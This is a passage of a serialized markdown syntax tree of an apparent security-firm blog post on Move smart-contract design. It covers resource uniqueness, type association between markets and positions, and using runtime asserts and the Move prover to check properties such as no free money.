underlying_coin",{"type":21,"tag":85,"props":1227,"children":1228},{"style":169},[1229],{"type":26,"value":172},{"type":21,"tag":85,"props":1231,"children":1232},{"style":108},[1233],{"type":26,"value":111},{"type":21,"tag":85,"props":1235,"children":1236},{"style":114},[1237],{"type":26,"value":117},{"type":21,"tag":85,"props":1239,"children":1240},{"style":108},[1241],{"type":26,"value":1242},"Coin0",{"type":21,"tag":85,"props":1244,"children":1245},{"style":114},[1246],{"type":26,"value":461},{"type":21,"tag":85,"props":1248,"children":1249},{"class":87,"line":501},[1250],{"type":21,"tag":85,"props":1251,"children":1252},{"style":92},[1253],{"type":26,"value":1254},"      /// Stores the LP `Coin` that act as collateral.\n",{"type":21,"tag":85,"props":1256,"children":1257},{"class":87,"line":697},[1258,1263,1267,1271,1275,1279,1283,1287],{"type":21,"tag":85,"props":1259,"children":1260},{"style":120},[1261],{"type":26,"value":1262},"      collateralised_lp_coin",{"type":21,"tag":85,"props":1264,"children":1265},{"style":169},[1266],{"type":26,"value":172},{"type":21,"tag":85,"props":1268,"children":1269},{"style":108},[1270],{"type":26,"value":111},{"type":21,"tag":85,"props":1272,"children":1273},{"style":114},[1274],{"type":26,"value":117},{"type":21,"tag":85,"props":1276,"children":1277},{"style":108},[1278],{"type":26,"value":660},{"type":21,"tag":85,"props":1280,"children":1281},{"style":114},[1282],{"type":26,"value":117},{"type":21,"tag":85,"props":1284,"children":1285},{"style":108},[1286],{"type":26,"value":1242},{"type":21,"tag":85,"props":1288,"children":1289},{"style":114},[1290],{"type":26,"value":1291},">>,\n",{"type":21,"tag":85,"props":1293,"children":1294},{"class":87,"line":706},[1295],{"type":21,"tag":85,"props":1296,"children":1297},{"style":92},[1298],{"type":26,"value":1299},"      /// Mint capability for LP Coin.\n",{"type":21,"tag":85,"props":1301,"children":1302},{"class":87,"line":1100},[1303,1308,1312,1317,1321,1325,1329,1333],{"type":21,"tag":85,"props":1304,"children":1305},{"style":120},[1306],{"type":26,"value":1307},"      mint_capability",{"type":21,"tag":85,"props":1309,"children":1310},{"style":169},[1311],{"type":26,"value":172},{"type":21,"tag":85,"props":1313,"children":1314},{"style":108},[1315],{"type":26,"value":1316}," MintCapability",{"type":21,"tag":85,"props":1318,"children":1319},{"style":114},[1320],{"type":26,"value":117},{"type":21,"tag":85,"props":1322,"children":1323},{"style":108},[1324],{"type":26,"value":660},{"type":21,"tag":85,"props":1326,"children":1327},{"style":114},[1328],{"type":26,"value":117},{"type":21,"tag":85,"props":1330,"children":1331},{"style":108},[1332],{"type":26,"value":1242},{"type":21,"tag":85,"props":1334,"children":1335},{"style":114},[1336],{"type":26,"value":1291},{"type":21,"tag":85,"props":1338,"children":1340},{"class":87,"line":1339},10,[1341],{"type":21,"tag":85,"props":1342,"children":1343},{"style":92},[1344],{"type":26,"value":1345},"      /// Burn capability for LP Coin.\n",{"type":21,"tag":85,"props":1347,"children":1349},{"class":87,"line":1348},11,[1350,1355,1359,1364,1368,1372,1376,1380],{"type":21,"tag":85,"props":1351,"children":1352},{"style":120},[1353],{"type":26,"value":1354},"      burn_capability",{"type":21,"tag":85,"props":1356,"children":1357},{"style":169},[1358],{"type":26,"value":172},{"type":21,"tag":85,"props":1360,"children":1361},{"style":108},[1362],{"type":26,"value":1363}," BurnCapability",{"type":21,"tag":85,"props":1365,"children":1366},{"style":114},[1367],{"type":26,"value":117},{"type":21,"tag":85,"props":1369,"children":1370},{"style":108},[1371],{"type":26,"value":660},{"type":21,"tag":85,"props":1373,"children":1374},{"style":114},[1375],{"type":26,"value":117},{"type":21,"tag":85,"props":1377,"children":1378},{"style":108},[1379],{"type":26,"value":1242},{"type":21,"tag":85,"props":1381,"children":1382},{"style":114},[1383],{"type":26,"value":1291},{"type":21,"tag":85,"props":1385,"children":1387},{"class":87,"line":1386},12,[1388],{"type":21,"tag":85,"props":1389,"children":1390},{"emptyLinePlaceholder":16},[1391],{"type":26,"value":703},{"type":21,"tag":85,"props":1393,"children":1395},{"class":87,"line":1394},13,[1396],{"type":21,"tag":85,"props":1397,"children":1398},{"style":92},[1399],{"type":26,"value":932},{"type":21,"tag":85,"props":1401,"children":1403},{"class":87,"line":1402},14,[1404],{"type":21,"tag":85,"props":1405,"children":1406},{"style":114},[1407],{"type":26,"value":191},{"type":21,"tag":22,"props":1409,"children":1410},{},[1411,1413,1418],{"type":26,"value":1412},"When creating a ",{"type":21,"tag":66,"props":1414,"children":1416},{"className":1415},[],[1417],{"type":26,"value":1143},{"type":26,"value":1419},", uniqueness is implicitly enforced by moving it into a hardcoded address.",{"type":21,"tag":75,"props":1421,"children":1423},{"className":77,"code":1422,"language":79,"meta":7,"style":7},"  public(friend) fun create\u003CCoin0>(\n      lp_store: &signer,\n      // ...\n  ) acquires Reserves {\n      lp::assert_is_lp_store(signer::address_of(lp_store));\n\n      // ...\n\n      move_to(lp_store, ReserveCoinContainer\u003CCoin0> {\n        // ...\n      });\n",[1424],{"type":21,"tag":66,"props":1425,"children":1426},{"__ignoreMap":7},[1427,1471,1497,1504,1525,1570,1577,1584,1591,1628,1635],{"type":21,"tag":85,"props":1428,"children":1429},{"class":87,"line":88},[1430,1435,1440,1445,1449,1454,1459,1463,1467],{"type":21,"tag":85,"props":1431,"children":1432},{"style":1021},[1433],{"type":26,"value":1434},"  public",{"type":21,"tag":85,"props":1436,"children":1437},{"style":114},[1438],{"type":26,"value":1439},"(",{"type":21,"tag":85,"props":1441,"children":1442},{"style":120},[1443],{"type":26,"value":1444},"friend",{"type":21,"tag":85,"props":1446,"children":1447},{"style":114},[1448],{"type":26,"value":736},{"type":21,"tag":85,"props":1450,"children":1451},{"style":120},[1452],{"type":26,"value":1453},"fun",{"type":21,"tag":85,"props":1455,"children":1456},{"style":120},[1457],{"type":26,"value":1458}," create",{"type":21,"tag":85,"props":1460,"children":1461},{"style":114},[1462],{"type":26,"value":117},{"type":21,"tag":85,"props":1464,"children":1465},{"style":108},[1466],{"type":26,"value":1242},{"type":21,"tag":85,"props":1468,"children":1469},{"style":114},[1470],{"type":26,"value":924},{"type":21,"tag":85,"props":1472,"children":1473},{"class":87,"line":98},[1474,1479,1483,1488,1493],{"type":21,"tag":85,"props":1475,"children":1476},{"style":120},[1477],{"type":26,"value":1478},"      lp_store",{"type":21,"tag":85,"props":1480,"children":1481},{"style":169},[1482],{"type":26,"value":172},{"type":21,"tag":85,"props":1484,"children":1485},{"style":169},[1486],{"type":26,"value":1487}," &",{"type":21,"tag":85,"props":1489,"children":1490},{"style":120},[1491],{"type":26,"value":1492},"signer",{"type":21,"tag":85,"props":1494,"children":1495},{"style":114},[1496],{"type":26,"value":182},{"type":21,"tag":85,"props":1498,"children":1499},{"class":87,"line":151},[1500],{"type":21,"tag":85,"props":1501,"children":1502},{"style":92},[1503],{"type":26,"value":932},{"type":21,"tag":85,"props":1505,"children":1506},{"class":87,"line":160},[1507,1512,1516,1521],{"type":21,"tag":85,"props":1508,"children":1509},{"style":114},[1510],{"type":26,"value":1511},"  ) ",{"type":21,"tag":85,"props":1513,"children":1514},{"style":120},[1515],{"type":26,"value":669},{"type":21,"tag":85,"props":1517,"children":1518},{"style":108},[1519],{"type":26,"value":1520}," Reserves",{"type":21,"tag":85,"props":1522,"children":1523},{"style":114},[1524],{"type":26,"value":148},{"type":21,"tag":85,"props":1526,"children":1527},{"class":87,"line":185},[1528,1533,1537,1542,1547,1551,1556,1560,1565],{"type":21,"tag":85,"props":1529,"children":1530},{"style":114},[1531],{"type":26,"value":1532},"      lp",{"type":21,"tag":85,"props":1534,"children":1535},{"style":169},[1536],{"type":26,"value":1087},{"type":21,"tag":85,"props":1538,"children":1539},{"style":1021},[1540],{"type":26,"value":1541},"assert_is_lp_store",{"type":21,"tag":85,"props":1543,"children":1544},{"style":114},[1545],{"type":26,"value":1546},"(signer",{"type":21,"tag":85,"props":1548,"children":1549},{"style":169},[1550],{"type":26,"value":1087},{"type":21,"tag":85,"props":1552,"children":1553},{"style":1021},[1554],{"type":26,"value":1555},"address_of",{"type":21,"tag":85,"props":1557,"children":1558},{"style":114},[1559],{"type":26,"value":1439},{"type":21,"tag":85,"props":1561,"children":1562},{"style":120},[1563],{"type":26,"value":1564},"lp_store",{"type":21,"tag":85,"props":1566,"children":1567},{"style":114},[1568],{"type":26,"value":1569},"));\n",{"type":21,"tag":85,"props":1571,"children":1572},{"class":87,"line":501},[1573],{"type":21,"tag":85,"props":1574,"children":1575},{"emptyLinePlaceholder":16},[1576],{"type":26,"value":703},{"type":21,"tag":85,"props":1578,"children":1579},{"class":87,"line":697},[1580],{"type":21,"tag":85,"props":1581,"children":1582},{"style":92},[1583],{"type":26,"value":932},{"type":21,"tag":85,"props":1585,"children":1586},{"class":87,"line":706},[1587],{"type":21,"tag":85,"props":1588,"children":1589},{"emptyLinePlaceholder":16},[1590],{"type":26,"value":703},{"type":21,"tag":85,"props":1592,"children":1593},{"class":87,"line":1100},[1594,1599,1603,1607,1611,1615,1619,1623],{"type":21,"tag":85,"props":1595,"children":1596},{"style":1021},[1597],{"type":26,"value":1598},"      move_to",{"type":21,"tag":85,"props":1600,"children":1601},{"style":114},[1602],{"type":26,"value":1439},{"type":21,"tag":85,"props":1604,"children":1605},{"style":120},[1606],{"type":26,"value":1564},{"type":21,"tag":85,"props":1608,"children":1609},{"style":114},[1610],{"type":26,"value":256},{"type":21,"tag":85,"props":1612,"children":1613},{"style":108},[1614],{"type":26,"value":1143},{"type":21,"tag":85,"props":1616,"children":1617},{"style":114},[1618],{"type":26,"value":117},{"type":21,"tag":85,"props":1620,"children":1621},{"style":108},[1622],{"type":26,"value":1242},{"type":21,"tag":85,"props":1624,"children":1625},{"style":114},[1626],{"type":26,"value":1627},"> {\n",{"type":21,"tag":85,"props":1629,"children":1630},{"class":87,"line":1339},[1631],{"type":21,"tag":85,"props":1632,"children":1633},{"style":92},[1634],{"type":26,"value":498},{"type":21,"tag":85,"props":1636,"children":1637},{"class":87,"line":1348},[1638],{"type":21,"tag":85,"props":1639,"children":1640},{"style":114},[1641],{"type":26,"value":1642},"      });\n",{"type":21,"tag":22,"props":1644,"children":1645},{},[1646],{"type":26,"value":1647},"In both these instances, type association only works because we create exactly one instance per type.",{"type":21,"tag":22,"props":1649,"children":1650},{},[1651,1653,1659,1661,1667,1669,1674],{"type":26,"value":1652},"On the other hand, consider if you have a ",{"type":21,"tag":66,"props":1654,"children":1656},{"className":1655},[],[1657],{"type":26,"value":1658},"Position\u003CT>",{"type":26,"value":1660}," and a ",{"type":21,"tag":66,"props":1662,"children":1664},{"className":1663},[],[1665],{"type":26,"value":1666},"Market\u003CT>",{"type":26,"value":1668}," where ",{"type":21,"tag":66,"props":1670,"children":1672},{"className":1671},[],[1673],{"type":26,"value":308},{"type":26,"value":1675}," is the coin type.",{"type":21,"tag":75,"props":1677,"children":1679},{"className":77,"code":1678,"language":79,"meta":7,"style":7},"    struct Market\u003Cphantom T> {\n        reserves: Coin\u003CT>,\n        // ...\n    }\n\n    struct Position\u003Cphantom T> {\n        amount: u64,\n        // ...\n    }\n",[1680],{"type":21,"tag":66,"props":1681,"children":1682},{"__ignoreMap":7},[1683,1711,1739,1746,1753,1760,1788,1808,1815],{"type":21,"tag":85,"props":1684,"children":1685},{"class":87,"line":88},[1686,1690,1695,1699,1703,1707],{"type":21,"tag":85,"props":1687,"children":1688},{"style":102},[1689],{"type":26,"value":375},{"type":21,"tag":85,"props":1691,"children":1692},{"style":108},[1693],{"type":26,"value":1694}," Market",{"type":21,"tag":85,"props":1696,"children":1697},{"style":114},[1698],{"type":26,"value":117},{"type":21,"tag":85,"props":1700,"children":1701},{"style":120},[1702],{"type":26,"value":123},{"type":21,"tag":85,"props":1704,"children":1705},{"style":108},[1706],{"type":26,"value":238},{"type":21,"tag":85,"props":1708,"children":1709},{"style":114},[1710],{"type":26,"value":1627},{"type":21,"tag":85,"props":1712,"children":1713},{"class":87,"line":98},[1714,1719,1723,1727,1731,1735],{"type":21,"tag":85,"props":1715,"children":1716},{"style":120},[1717],{"type":26,"value":1718},"        reserves",{"type":21,"tag":85,"props":1720,"children":1721},{"style":169},[1722],{"type":26,"value":172},{"type":21,"tag":85,"props":1724,"children":1725},{"style":108},[1726],{"type":26,"value":111},{"type":21,"tag":85,"props":1728,"children":1729},{"style":114},[1730],{"type":26,"value":117},{"type":21,"tag":85,"props":1732,"children":1733},{"style":108},[1734],{"type":26,"value":308},{"type":21,"tag":85,"props":1736,"children":1737},{"style":114},[1738],{"type":26,"value":461},{"type":21,"tag":85,"props":1740,"children":1741},{"class":87,"line":151},[1742],{"type":21,"tag":85,"props":1743,"children":1744},{"style":92},[1745],{"type":26,"value":498},{"type":21,"tag":85,"props":1747,"children":1748},{"class":87,"line":160},[1749],{"type":21,"tag":85,"props":1750,"children":1751},{"style":114},[1752],{"type":26,"value":507},{"type":21,"tag":85,"props":1754,"children":1755},{"class":87,"line":185},[1756],{"type":21,"tag":85,"props":1757,"children":1758},{"emptyLinePlaceholder":16},[1759],{"type":26,"value":703},{"type":21,"tag":85,"props":1761,"children":1762},{"class":87,"line":501},[1763,1767,1772,1776,1780,1784],{"type":21,"tag":85,"props":1764,"children":1765},{"style":102},[1766],{"type":26,"value":375},{"type":21,"tag":85,"props":1768,"children":1769},{"style":108},[1770],{"type":26,"value":1771}," Position",{"type":21,"tag":85,"props":1773,"children":1774},{"style":114},[1775],{"type":26,"value":117},{"type":21,"tag":85,"props":1777,"children":1778},{"style":120},[1779],{"type":26,"value":123},{"type":21,"tag":85,"props":1781,"children":1782},{"style":108},[1783],{"type":26,"value":238},{"type":21,"tag":85,"props":1785,"children":1786},{"style":114},[1787],{"type":26,"value":1627},{"type":21,"tag":85,"props":1789,"children":1790},{"class":87,"line":697},[1791,1796,1800,1804],{"type":21,"tag":85,"props":1792,"children":1793},{"style":120},[1794],{"type":26,"value":1795},"        amount",{"type":21,"tag":85,"props":1797,"children":1798},{"style":169},[1799],{"type":26,"value":172},{"type":21,"tag":85,"props":1801,"children":1802},{"style":108},[1803],{"type":26,"value":177},{"type":21,"tag":85,"props":1805,"children":1806},{"style":114},[1807],{"type":26,"value":182},{"type":21,"tag":85,"props":1809,"children":1810},{"class":87,"line":706},[1811],{"type":21,"tag":85,"props":1812,"children":1813},{"style":92},[1814],{"type":26,"value":498},{"type":21,"tag":85,"props":1816,"children":1817},{"class":87,"line":1100},[1818],{"type":21,"tag":85,"props":1819,"children":1820},{"style":114},[1821],{"type":26,"value":507},{"type":21,"tag":22,"props":1823,"children":1824},{},[1825,1827,1832,1834,1839],{"type":26,"value":1826},"If ",{"type":21,"tag":66,"props":1828,"children":1830},{"className":1829},[],[1831],{"type":26,"value":1666},{"type":26,"value":1833}," isn't a unique type -- or in other words if you're able to create more than one instance of a market per type ",{"type":21,"tag":66,"props":1835,"children":1837},{"className":1836},[],[1838],{"type":26,"value":308},{"type":26,"value":1840}," -- you might be able to pass in the incorrect market for a given position. This is a common vulnerability pattern on Solana.",{"type":21,"tag":22,"props":1842,"children":1843},{},[1844],{"type":26,"value":1845},"Dynamic iteration of types is also impossible (at least as currently designed by the Move VM) leading to massive headaches for developers. In these scenarios, we empirically observe developers defaulting back to type reflection APIs, complicating code unnecessarily. Security at the expense of usability comes at the expense of security.",{"type":21,"tag":75,"props":1847,"children":1849},{"className":77,"code":1848,"language":79,"meta":7,"style":7},"    /// Get the price of the token per lamport.\n    public fun get_price(type_info: TypeInfo): Decimal acquires Oracle {\n        let oracle = borrow_global_mut\u003COracle>(@oracle);\n        let price = table::borrow_mut_with_default\u003CTypeInfo, Decimal>(\n            &mut oracle.prices,\n            type_info,\n            decimal::one()\n        );\n        *price\n    }\n",[1850],{"type":21,"tag":66,"props":1851,"children":1852},{"__ignoreMap":7},[1853,1861,1924,1975,2027,2053,2065,2087,2095,2108],{"type":21,"tag":85,"props":1854,"children":1855},{"class":87,"line":88},[1856],{"type":21,"tag":85,"props":1857,"children":1858},{"style":92},[1859],{"type":26,"value":1860},"    /// Get the price of the token per lamport.\n",{"type":21,"tag":85,"props":1862,"children":1863},{"class":87,"line":98},[1864,1869,1873,1878,1882,1887,1891,1896,1901,1905,1910,1915,1920],{"type":21,"tag":85,"props":1865,"children":1866},{"style":120},[1867],{"type":26,"value":1868},"    public",{"type":21,"tag":85,"props":1870,"children":1871},{"style":120},[1872],{"type":26,"value":532},{"type":21,"tag":85,"props":1874,"children":1875},{"style":1021},[1876],{"type":26,"value":1877}," get_price",{"type":21,"tag":85,"props":1879,"children":1880},{"style":114},[1881],{"type":26,"value":1439},{"type":21,"tag":85,"props":1883,"children":1884},{"style":120},[1885],{"type":26,"value":1886},"type_info",{"type":21,"tag":85,"props":1888,"children":1889},{"style":169},[1890],{"type":26,"value":172},{"type":21,"tag":85,"props":1892,"children":1893},{"style":108},[1894],{"type":26,"value":1895}," TypeInfo",{"type":21,"tag":85,"props":1897,"children":1898},{"style":114},[1899],{"type":26,"value":1900},")",{"type":21,"tag":85,"props":1902,"children":1903},{"style":169},[1904],{"type":26,"value":172},{"type":21,"tag":85,"props":1906,"children":1907},{"style":108},[1908],{"type":26,"value":1909}," Decimal",{"type":21,"tag":85,"props":1911,"children":1912},{"style":120},[1913],{"type":26,"value":1914}," acquires",{"type":21,"tag":85,"props":1916,"children":1917},{"style":108},[1918],{"type":26,"value":1919}," Oracle",{"type":21,"tag":85,"props":1921,"children":1922},{"style":114},[1923],{"type":26,"value":148},{"type":21,"tag":85,"props":1925,"children":1926},{"class":87,"line":151},[1927,1932,1937,1942,1947,1951,1956,1961,1966,1971],{"type":21,"tag":85,"props":1928,"children":1929},{"style":102},[1930],{"type":26,"value":1931},"        let",{"type":21,"tag":85,"props":1933,"children":1934},{"style":120},[1935],{"type":26,"value":1936}," oracle",{"type":21,"tag":85,"props":1938,"children":1939},{"style":169},[1940],{"type":26,"value":1941}," =",{"type":21,"tag":85,"props":1943,"children":1944},{"style":120},[1945],{"type":26,"value":1946}," borrow_global_mut",{"type":21,"tag":85,"props":1948,"children":1949},{"style":114},[1950],{"type":26,"value":117},{"type":21,"tag":85,"props":1952,"children":1953},{"style":108},[1954],{"type":26,"value":1955},"Oracle",{"type":21,"tag":85,"props":1957,"children":1958},{"style":114},[1959],{"type":26,"value":1960},">(",{"type":21,"tag":85,"props":1962,"children":1963},{"style":169},[1964],{"type":26,"value":1965},"@",{"type":21,"tag":85,"props":1967,"children":1968},{"style":120},[1969],{"type":26,"value":1970},"oracle",{"type":21,"tag":85,"props":1972,"children":1973},{"style":114},[1974],{"type":26,"value":777},{"type":21,"tag":85,"props":1976,"children":1977},{"class":87,"line":160},[1978,1982,1987,1991,1996,2000,2005,2009,2014,2018,2023],{"type":21,"tag":85,"props":1979,"children":1980},{"style":102},[1981],{"type":26,"value":1931},{"type":21,"tag":85,"props":1983,"children":1984},{"style":120},[1985],{"type":26,"value":1986}," price",{"type":21,"tag":85,"props":1988,"children":1989},{"style":169},[1990],{"type":26,"value":1941},{"type":21,"tag":85,"props":1992,"children":1993},{"style":114},[1994],{"type":26,"value":1995}," table",{"type":21,"tag":85,"props":1997,"children":1998},{"style":169},[1999],{"type":26,"value":1087},{"type":21,"tag":85,"props":2001,"children":2002},{"style":120},[2003],{"type":26,"value":2004},"borrow_mut_with_default",{"type":21,"tag":85,"props":2006,"children":2007},{"style":114},[2008],{"type":26,"value":117},{"type":21,"tag":85,"props":2010,"children":2011},{"style":108},[2012],{"type":26,"value":2013},"TypeInfo",{"type":21,"tag":85,"props":2015,"children":2016},{"style":114},[2017],{"type":26,"value":256},{"type":21,"tag":85,"props":2019,"children":2020},{"style":108},[2021],{"type":26,"value":2022},"Decimal",{"type":21,"tag":85,"props":2024,"children":2025},{"style":114},[2026],{"type":26,"value":924},{"type":21,"tag":85,"props":2028,"children":2029},{"class":87,"line":185},[2030,2035,2040,2044,2048],{"type":21,"tag":85,"props":2031,"children":2032},{"style":169},[2033],{"type":26,"value":2034},"            &",{"type":21,"tag":85,"props":2036,"children":2037},{"style":102},[2038],{"type":26,"value":2039},"mut",{"type":21,"tag":85,"props":2041,"children":2042},{"style":120},[2043],{"type":26,"value":1936},{"type":21,"tag":85,"props":2045,"children":2046},{"style":169},[2047],{"type":26,"value":73},{"type":21,"tag":85,"props":2049,"children":2050},{"style":114},[2051],{"type":26,"value":2052},"prices,\n",{"type":21,"tag":85,"props":2054,"children":2055},{"class":87,"line":501},[2056,2061],{"type":21,"tag":85,"props":2057,"children":2058},{"style":120},[2059],{"type":26,"value":2060},"            type_info",{"type":21,"tag":85,"props":2062,"children":2063},{"style":114},[2064],{"type":26,"value":182},{"type":21,"tag":85,"props":2066,"children":2067},{"class":87,"line":697},[2068,2073,2077,2082],{"type":21,"tag":85,"props":2069,"children":2070},{"style":114},[2071],{"type":26,"value":2072},"            decimal",{"type":21,"tag":85,"props":2074,"children":2075},{"style":169},[2076],{"type":26,"value":1087},{"type":21,"tag":85,"props":2078,"children":2079},{"style":1021},[2080],{"type":26,"value":2081},"one",{"type":21,"tag":85,"props":2083,"children":2084},{"style":114},[2085],{"type":26,"value":2086},"()\n",{"type":21,"tag":85,"props":2088,"children":2089},{"class":87,"line":706},[2090],{"type":21,"tag":85,"props":2091,"children":2092},{"style":114},[2093],{"type":26,"value":2094},"        );\n",{"type":21,"tag":85,"props":2096,"children":2097},{"class":87,"line":1100},[2098,2103],{"type":21,"tag":85,"props":2099,"children":2100},{"style":169},[2101],{"type":26,"value":2102},"        *",{"type":21,"tag":85,"props":2104,"children":2105},{"style":120},[2106],{"type":26,"value":2107},"price\n",{"type":21,"tag":85,"props":2109,"children":2110},{"class":87,"line":1339},[2111],{"type":21,"tag":85,"props":2112,"children":2113},{"style":114},[2114],{"type":26,"value":507},{"type":21,"tag":22,"props":2116,"children":2117},{},[2118,2120,2125],{"type":26,"value":2119},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":21,"tag":39,"props":2121,"children":2122},{},[2123],{"type":26,"value":2124},"instance",{"type":26,"value":2126}," of another resource (which is possible in Diem style move).",{"type":21,"tag":22,"props":2128,"children":2129},{},[2130],{"type":26,"value":2131},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":21,"tag":841,"props":2133,"children":2134},{},[2135,2140],{"type":21,"tag":845,"props":2136,"children":2137},{},[2138],{"type":26,"value":2139},"Have unique initializers for your resources",{"type":21,"tag":845,"props":2141,"children":2142},{},[2143],{"type":26,"value":2144},"Associate resources with instances directly",{"type":21,"tag":54,"props":2146,"children":2148},{"id":2147},"formal-verification",[2149],{"type":26,"value":2150},"Formal Verification",{"type":21,"tag":22,"props":2152,"children":2153},{},[2154],{"type":26,"value":2155},"Formal verification is another exciting feature.",{"type":21,"tag":22,"props":2157,"children":2158},{},[2159],{"type":26,"value":2160},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":21,"tag":22,"props":2162,"children":2163},{},[2164,2166,2171],{"type":26,"value":2165},"However, this isn't a silver bullet. The key is figuring out ",{"type":21,"tag":39,"props":2167,"children":2168},{},[2169],{"type":26,"value":2170},"what",{"type":26,"value":2172}," to prove.",{"type":21,"tag":22,"props":2174,"children":2175},{},[2176,2178,2185],{"type":26,"value":2177},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":21,"tag":335,"props":2179,"children":2182},{"href":2180,"rel":2181},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[339],[2183],{"type":26,"value":2184},"Solana AMM rounding issue",{"type":26,"value":2186}," we reported.",{"type":21,"tag":22,"props":2188,"children":2189},{},[2190],{"type":26,"value":2191},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":21,"tag":75,"props":2193,"children":2195},{"className":77,"code":2194,"language":79,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[2196],{"type":21,"tag":66,"props":2197,"children":2198},{"__ignoreMap":7},[2199,2261],{"type":21,"tag":85,"props":2200,"children":2201},{"class":87,"line":88},[2202,2207,2212,2216,2221,2225,2230,2234,2239,2244,2248,2252,2257],{"type":21,"tag":85,"props":2203,"children":2204},{"style":102},[2205],{"type":26,"value":2206},"  let",{"type":21,"tag":85,"props":2208,"children":2209},{"style":120},[2210],{"type":26,"value":2211}," cmp",{"type":21,"tag":85,"props":2213,"children":2214},{"style":169},[2215],{"type":26,"value":1941},{"type":21,"tag":85,"props":2217,"children":2218},{"style":114},[2219],{"type":26,"value":2220}," u256",{"type":21,"tag":85,"props":2222,"children":2223},{"style":169},[2224],{"type":26,"value":1087},{"type":21,"tag":85,"props":2226,"children":2227},{"style":1021},[2228],{"type":26,"value":2229},"compare",{"type":21,"tag":85,"props":2231,"children":2232},{"style":114},[2233],{"type":26,"value":1439},{"type":21,"tag":85,"props":2235,"children":2236},{"style":169},[2237],{"type":26,"value":2238},"&",{"type":21,"tag":85,"props":2240,"children":2241},{"style":120},[2242],{"type":26,"value":2243},"lp_value_after_swap_and_fee",{"type":21,"tag":85,"props":2245,"children":2246},{"style":114},[2247],{"type":26,"value":256},{"type":21,"tag":85,"props":2249,"children":2250},{"style":169},[2251],{"type":26,"value":2238},{"type":21,"tag":85,"props":2253,"children":2254},{"style":120},[2255],{"type":26,"value":2256},"lp_value_before_swap_u256",{"type":21,"tag":85,"props":2258,"children":2259},{"style":114},[2260],{"type":26,"value":777},{"type":21,"tag":85,"props":2262,"children":2263},{"class":87,"line":98},[2264,2269,2273,2278,2283,2289],{"type":21,"tag":85,"props":2265,"children":2266},{"style":1021},[2267],{"type":26,"value":2268},"  assert!",{"type":21,"tag":85,"props":2270,"children":2271},{"style":114},[2272],{"type":26,"value":1439},{"type":21,"tag":85,"props":2274,"children":2275},{"style":120},[2276],{"type":26,"value":2277},"cmp",{"type":21,"tag":85,"props":2279,"children":2280},{"style":169},[2281],{"type":26,"value":2282}," ==",{"type":21,"tag":85,"props":2284,"children":2286},{"style":2285},"--shiki-default:#B5CEA8",[2287],{"type":26,"value":2288}," 2",{"type":21,"tag":85,"props":2290,"children":2291},{"style":114},[2292],{"type":26,"value":2293},", ERR_INCORRECT_SWAP);\n",{"type":21,"tag":22,"props":2295,"children":2296},{},[2297,2299,2304],{"type":26,"value":2298},"The move prover really shines when we're proving relationships ",{"type":21,"tag":39,"props":2300,"children":2301},{},[2302],{"type":26,"value":2303},"between",{"type":26,"value":2305}," functions.",{"type":21,"tag":22,"props":2307,"children":2308},{},[2309,2311,2317],{"type":26,"value":2310},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":21,"tag":66,"props":2312,"children":2314},{"className":2313},[],[2315],{"type":26,"value":2316},"no_free_money_theorem",{"type":26,"value":2318}," in the move repository.",{"type":21,"tag":75,"props":2320,"children":2322},{"className":77,"code":2321,"language":79,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[2323],{"type":21,"tag":66,"props":2324,"children":2325},{"__ignoreMap":7},[2326,2334,2422,2464,2486,2493,2509,2536,2563,2588],{"type":21,"tag":85,"props":2327,"children":2328},{"class":87,"line":88},[2329],{"type":21,"tag":85,"props":2330,"children":2331},{"style":92},[2332],{"type":26,"value":2333},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":21,"tag":85,"props":2335,"children":2336},{"class":87,"line":98},[2337,2341,2346,2350,2355,2359,2363,2367,2372,2376,2380,2384,2388,2392,2397,2401,2405,2409,2413,2418],{"type":21,"tag":85,"props":2338,"children":2339},{"style":120},[2340],{"type":26,"value":905},{"type":21,"tag":85,"props":2342,"children":2343},{"style":1021},[2344],{"type":26,"value":2345}," no_free_money_theorem",{"type":21,"tag":85,"props":2347,"children":2348},{"style":114},[2349],{"type":26,"value":1439},{"type":21,"tag":85,"props":2351,"children":2352},{"style":120},[2353],{"type":26,"value":2354},"coin1_in",{"type":21,"tag":85,"props":2356,"children":2357},{"style":169},[2358],{"type":26,"value":172},{"type":21,"tag":85,"props":2360,"children":2361},{"style":108},[2362],{"type":26,"value":177},{"type":21,"tag":85,"props":2364,"children":2365},{"style":114},[2366],{"type":26,"value":256},{"type":21,"tag":85,"props":2368,"children":2369},{"style":120},[2370],{"type":26,"value":2371},"coin2_in",{"type":21,"tag":85,"props":2373,"children":2374},{"style":169},[2375],{"type":26,"value":172},{"type":21,"tag":85,"props":2377,"children":2378},{"style":108},[2379],{"type":26,"value":177},{"type":21,"tag":85,"props":2381,"children":2382},{"style":114},[2383],{"type":26,"value":1900},{"type":21,"tag":85,"props":2385,"children":2386},{"style":169},[2387],{"type":26,"value":172},{"type":21,"tag":85,"props":2389,"children":2390},{"style":114},[2391],{"type":26,"value":717},{"type":21,"tag":85,"props":2393,"children":2394},{"style":108},[2395],{"type":26,"value":2396},"u64",{"type":21,"tag":85,"props":2398,"children":2399},{"style":114},[2400],{"type":26,"value":256},{"type":21,"tag":85,"props":2402,"children":2403},{"style":108},[2404],{"type":26,"value":2396},{"type":21,"tag":85,"props":2406,"children":2407},{"style":114},[2408],{"type":26,"value":736},{"type":21,"tag":85,"props":2410,"children":2411},{"style":120},[2412],{"type":26,"value":669},{"type":21,"tag":85,"props":2414,"children":2415},{"style":108},[2416],{"type":26,"value":2417}," 